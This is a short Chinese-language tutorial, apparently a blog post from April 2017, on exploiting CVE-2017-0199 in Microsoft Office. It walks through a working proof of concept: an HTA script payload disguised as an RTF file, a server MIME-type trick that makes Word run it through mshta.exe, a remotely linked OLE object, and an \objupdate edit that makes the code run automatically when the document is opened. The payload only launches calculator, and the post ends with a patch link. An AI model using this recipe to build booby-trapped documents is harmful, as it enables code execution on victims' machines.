CVE-2017-0199 OFFICE OLE2LINK

CVE-2017-0199:当用户打开包含嵌入式漏洞的文档时,winword.exe会向远程服务器发出HTTP请求,以检索恶意HTA文件,服务器返回的文件时一个带有嵌入式恶意脚本的假RTF文件,winword.exe通过COM对象查找application/hta的文件处理程序,这会导致Microsoft HTA应用程序(mshta.exe)加载并执行恶意脚本

利用

首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:

test
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

确保apache配置文件conf/mime.types里面有rtf的content type项:
application/rtf rtf

新建word文档 插入一个对象 由文件创建,输入url 例如 http://192.168.1.117/1.rtf
选择“链接到文件”
这时候会生成一个有test文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.117/1.rtf来更新对象内容。

此时在apache配置文件conf/mime.types中把
application/rtf rtf
改为
application/hta rtf

重启apache 清楚ie缓存
再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件
这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:
用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
{\object\objautlink\rsltpict
改为
{\object\objautlink\objupdate\rsltpict
关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的

下载微软紧急更新补丁: https://support.microsoft.com/en-us/help/4014793/title

Written on April 18, 2017